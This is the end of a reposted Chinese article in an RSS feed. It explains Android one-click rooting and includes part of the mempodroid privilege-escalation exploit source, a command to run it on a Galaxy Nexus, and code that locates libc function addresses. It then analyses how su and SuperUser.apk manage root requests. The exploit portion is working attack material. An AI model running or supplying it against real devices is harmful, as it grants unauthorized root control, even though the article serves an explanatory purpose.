close(save);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;char self[1024];<br/><br/>&nbsp;&nbsp; _syscall(readlink(&quot;/proc/self/exe&quot;, self, sizeof(self) - 1));<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;char *args[4 + argc + 1];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;args[0] =strdup(&quot;run-as&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;args[1] = (char *) exploit;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;args[2] = self;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;args[3] =strdup(&quot;-&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;int i;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;for (i = 0; i != argc; ++i)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; args[4 + i] = argv[i];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;args[4 + i] = NULL;<br/><br/>_syscall(execv(&quot;/system/bin/run-as&quot;, args));<br/><br/>return 0;<br/><br/>漏洞利用程序在运行时需要提供三个参数exit()函数地址、setresuid()函数地址以及一个命令，如Root掉Galaxy Nexus手机可以执行：./data/local/tmp/mempodroid 0xd7f4 0xad4b sh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit()与setresuid()函数地址的获取很简单，可以使用objdump查找，可以使用如下代码来获取：<br/><br/>int main(void) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;void*&nbsp;&nbsp;lib =dlopen(&quot;libc.so&quot;, RTLD_NOW &#124; RTLD_GLOBAL);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;void*&nbsp;&nbsp;symbol;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (lib == NULL) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, &quot;Could not open self-executable withdlopen(NULL) !!: %s&quot;, dlerror());<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 1;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;symbol = dlsym(lib,&quot;exit&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (symbol == NULL) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, &quot;Could not lookup symbol exit !!:%s&quot;, dlerror());<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 2;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;exit() addr:%08x&quot;, symbol);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; symbol = dlsym(lib, &quot;setresuid&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (symbol == NULL) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, &quot;Could not lookup symbol setresuid !!:%s&quot;, dlerror());<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 2;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;setresuid() addr:%08x&quot;, symbol);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;dlclose(lib);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br/><br/>&#125;<br/><br/>这个漏洞目前是最新的，并且漏洞的补丁是Linux的父亲Linus亲自提交的。在最新ICS 4.0.2（ICL53F）以前的Android系统中，这个漏洞可以正常工作。su与SuperUser.apk是如何协作的在Root后手机会植入su与superuser.apk两个文件，前者会被放入手机的/system/bin目录下，后者被放到/system/app目录下，它们组合在一起，为系统提供了su权限的管理。这两个工具目前由xda论坛上的ChainsDD在维护（顺便说一下，国内xxRoot工具也有自已的su与SuperUser.apk文件，修改取自并修改于ChainsDD的代码，并且版权被切）。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;su程序与Linux平台上的su本身无太大差别，只是由于系统的特殊性去掉了部分内容，并加上了一些控制代码。su程序保留的命令行参数不多，“-c”与“-s”可能是最常用的，整个程序核心功能由两个方向性的函数allow()与deny()组成，在经过计算获取到了命令行参数与命令后，会执行以下代码：<br/><br/>if (su_from.uid == AID_ROOT &#124;&#124; su_from.uid== AID_SHELL)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; allow(shell, orig_umask);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;if (stat(REQUESTOR_DATA_PATH,&amp;st) &lt; 0) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PLOGE(&quot;stat&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; deny();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;……<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;setgroups(0, NULL);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;setegid(st.st_gid);<br/><br/>seteuid(st.st_uid);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AID_ROOT与AID_SHELL分别是root与shell权限，程序直接放行，stat()函数会检查手机是否安装有SuperUser.apk，没有程序会拒绝执行。条件满足就会以Superuser的权限往下执行：<br/><br/>db = database_init();<br/><br/>if (!db) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;LOGE(&quot;sudb - Could not open database, promptuser&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;dballow = DB_INTERACTIVE;<br/><br/>&#125; else &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;LOGE(&quot;sudb - Database opened&quot;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;dballow = database_check(db, &amp;su_from,&amp;su_to);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;sqlite3_close(db);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;db = NULL;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;LOGE(&quot;sudb - Database closed&quot;);<br/><br/>&#125;<br/><br/>switch (dballow) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case DB_DENY: deny();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case DB_ALLOW: allow(shell,orig_umask);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case DB_INTERACTIVE: break;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default: deny();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;database_init()与database_check()负责从SuperUser.apk程序databases目录下的permissions.sqlite数据库中读取权限设置，这也是为什么SuperUser.apk有能力控制su的原因！（人家主动找上门的）等dballow弄到手，该放行该拒绝就看着办了，如果没搜索到记录就代表是第一次，需要往下建立socket来send_intent，send_intent()采用底层构造Intent方式来发送广播，这个广播会被SuperUser.apk接收，等返回后会给你返回个字符串“ALLOW”或“DENY”，这时候su程序该咋地就咋地了：<br/><br/>if (send_intent(&amp;su_from, &amp;su_to,socket_path, -1, 0) &lt; 0) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;deny();<br/><br/>&#125;<br/><br/>if (socket_receive_result(socket_serv_fd, buf, sizeof(buf)) &lt; 0)&#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;deny();<br/><br/>&#125;<br/><br/>……<br/><br/>if (!strcmp(result, &quot;DENY&quot;)) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;deny();<br/><br/>&#125; else if (!strcmp(result, &quot;ALLOW&quot;)) &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;allow(shell, orig_umask);<br/><br/>&#125; else &#123;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;LOGE(&quot;unknown response from Superuser Requestor:%s&quot;, result);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;deny();<br/><br/>&#125;<br/><br/>下面是SuperUser.apk的工作了，上面的广播会被SuperUser.apk的SuRequestReceiver广播接收者收到，广播接收者首先读取prompt设置，如果用户要的是自动处理，那就根据这个值来对Root权限请求自动拒绝或自动放行，如果不自动处理，就到数据库中搜索权限规则，并根据结果发回处理，另外SuperUser除了对普通的程序进程su权限控制外，还提供了NFC、SecretCode、PinCode的监控，SuperUser同时注册了安装与卸载Apk的广播接收者，在安装与卸载时会对权限数据库中的条目进行更新或删除操作，限于篇幅，SuperUser的详细实现在此就不再展开了。到这里本文就告一段落了。本文主要分析了手机Root权限获取的过程，并介绍了常见的几个Root提权漏洞，最后通过分析su与SuperUser.apk的协作方式解了Root真正的原理。由于本人知识有限，文中难免会有纰漏或理解出错的地方，如果您有任何问题或建议，还望来信指正<br/><br/>摘自：http://www.hacker.com.cn/show-13-152-1.html<br/>文库：http://jingyan.baidu.com/article/e75aca8557c914142fdac674.html
]]>
</description>
</item><item>
<link>http://jackxiang.com/post//#blogcomment</link>
<title><![CDATA[[评论] 转贴，Android手机一键Root原理分析，如何获取到root的原理分析。]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://jackxiang.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>